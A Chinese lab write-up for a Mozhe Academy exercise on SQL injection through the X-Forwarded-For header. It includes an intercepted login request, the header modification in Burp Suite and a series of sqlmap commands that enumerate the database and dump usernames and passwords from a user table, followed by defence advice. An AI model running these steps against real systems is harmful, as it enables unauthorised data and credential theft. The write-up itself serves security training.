当前位置: 首页 > news >正文

墨者:X-Forwarded-For注入漏洞实战

墨者学院:X-Forwarded-For注入漏洞实战🚀

1. 什么是X-Forwarded-For?🔍

X-Forwarded-For(XFF)是一个HTTP请求头字段,用于标识客户端的原始IP地址。当请求经过代理服务器(如Nginx、CDN、负载均衡等)时,代理服务器会将该字段添加到HTTP头中,记录客户端的真实IP地址。格式通常为:

X-Forwarded-For: client_ip, proxy1_ip, proxy2_ip

如果服务器未正确验证该字段,攻击者可能伪造X-Forwarded-For头,导致IP欺骗SQL注入等安全问题。


2. 实验工具🔧

Burp Suite

  • 用途:拦截、修改和重放HTTP请求,用于抓包和手动测试。
  • 官网:https://portswigger.net/burp

SQLMap

  • 用途:自动化检测和利用SQL注入漏洞。
  • 安装
    git clone https://github.com/sqlmapproject/sqlmap.git
    

3. 实验步骤🎯

步骤1:使用Burp Suite抓包并修改请求➡️

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

原始请求:

POST /index.php HTTP/1.1
Host: 124.70.64.48:41754
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://124.70.64.48:41754
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.70.64.48:41754/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-aliveusername=test&password=test

修改后(添加X-Forwarded-For: *):

POST /index.php HTTP/1.1
Host: 124.70.64.48:41754
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://124.70.64.48:41754
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.70.64.48:41754/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For: *username=test&password=test

将请求保存为 F:\Cybersecurity\test.txt(路径和名字随意)。


步骤2:使用SQLMap进行注入测试➡️

在这里插入图片描述

1. 获取当前数据库名
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" --current-db --batch

或者开启多线程:

python sqlmap.py -r "F:\\Cybersecurity\\test.txt" --current-db --batch --threads 10

!图片链接待补充
在这里插入图片描述

2. 列出数据库中的表
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" -D webcalendar --tables --batch

!图片链接待补充
在这里插入图片描述

3. 获取表的列名
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" -D webcalendar -T user --columns --batch

!图片链接待补充
在这里插入图片描述

4. 导出数据
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" -D webcalendar -T user -C id,username,password --dump --batch

!图片链接待补充
在这里插入图片描述

5. 重启靶场,出现缓存问题

假如重启了墨者学院的靶场,会重新生成端口,需要修改"xxx.txt"中的端口配置,不然爆破的密码会是一样的,解决方法有:

  1. 使用--purge清理缓存后、重新爆破
python sqlmap.py --purge
  1. 使用--flush-session强制重新扫描目标
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" --flush-session --current-db --batch
6. 获取最终Key

在这里插入图片描述


4. 关键参数说明⭐

参数作用示例
-r从文件读取HTTP请求-r "F:\\test.txt"
--current-db获取当前数据库名--current-db
-D指定目标数据库-D webcalendar
--tables列出数据库中的所有表--tables
-T指定目标表-T user
--columns列出表中的所有列--columns
-C指定要导出的列-C id,username,password
--dump导出数据--dump
--batch自动选择默认选项(非交互模式)--batch
--threads设置并发线程数(可选)--threads 10

5. 总结🏁

  1. 漏洞原理
    X-Forwarded-For头可能被恶意篡改,如果服务器未严格验证该字段,可能导致SQL注入或IP欺骗。

  2. 实验验证

    • 通过Burp Suite修改请求头,添加X-Forwarded-For: *
    • 使用SQLMap自动化检测并利用注入漏洞,最终导出数据库数据。
  3. 防御建议

    • 服务器端应对X-Forwarded-For进行严格校验(如只信任可信代理IP)。
    • 使用参数化查询或ORM框架防止SQL注入。

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/301509.html

相关文章:

  • 解决ubantu系统下matplotlib中文乱码问题
  • MySQL进阶学习与初阶复习第四天
  • 数据库连接操作详解:左连接、右连接、全连接与内连接
  • ABP VNext + Elastic APM:微服务性能监控
  • 【优选算法】BFS解决最短路问题(单源)
  • 初始Redis:概念、特性、使用场景、安装教程
  • 六、搭建springCloudAlibaba2021.1版本分布式微服务-admin监控中心
  • IPv6的多级地址层次的理解
  • 设计模式(五)创建型:原型模式详解
  • 【ELasticsearch】节点角色分离最佳实践
  • 【LeetCode 热题 100】35. 搜索插入位置——二分查找(左闭右开)
  • 剑指offer第2版:双指针+排序+分治+滑动窗口
  • Web开发系列-第0章 Web介绍
  • 面试题:Vue2 中 template 的解析过程详解
  • CentOS 镜像源配置与 EOL 后的应对策略
  • 修改docker容器内的时区为东八区
  • 字符串是数据结构还是数据类型?
  • 常见认证机制详解
  • 哈希表应用(map,set共同作用)
  • Dify 深度解析:开启 AI 应用开发的无限可能
  • VUE3(四)、组件通信
  • 1439-素数环2
  • 基于深度学习的图像分割:使用DeepLabv3实现高效分割
  • QT6 源,七章对话框与多窗体(17)用于辅助多文档 MDI 窗体设计 QMdiArea 的类 QMdiSubWindow:
  • [10月考试] B
  • 3.5-非关系型数据库-反规范化-sql语言
  • 市电有电检测电路
  • [硬件电路-96]:什么是闭环反馈?什么是闭环正反馈控制?什么是闭环负反馈控制?
  • RK3568 Linux驱动学习——Linux驱动开发准备工作
  • 企业IT管理——突发病毒事件应急处理预案模板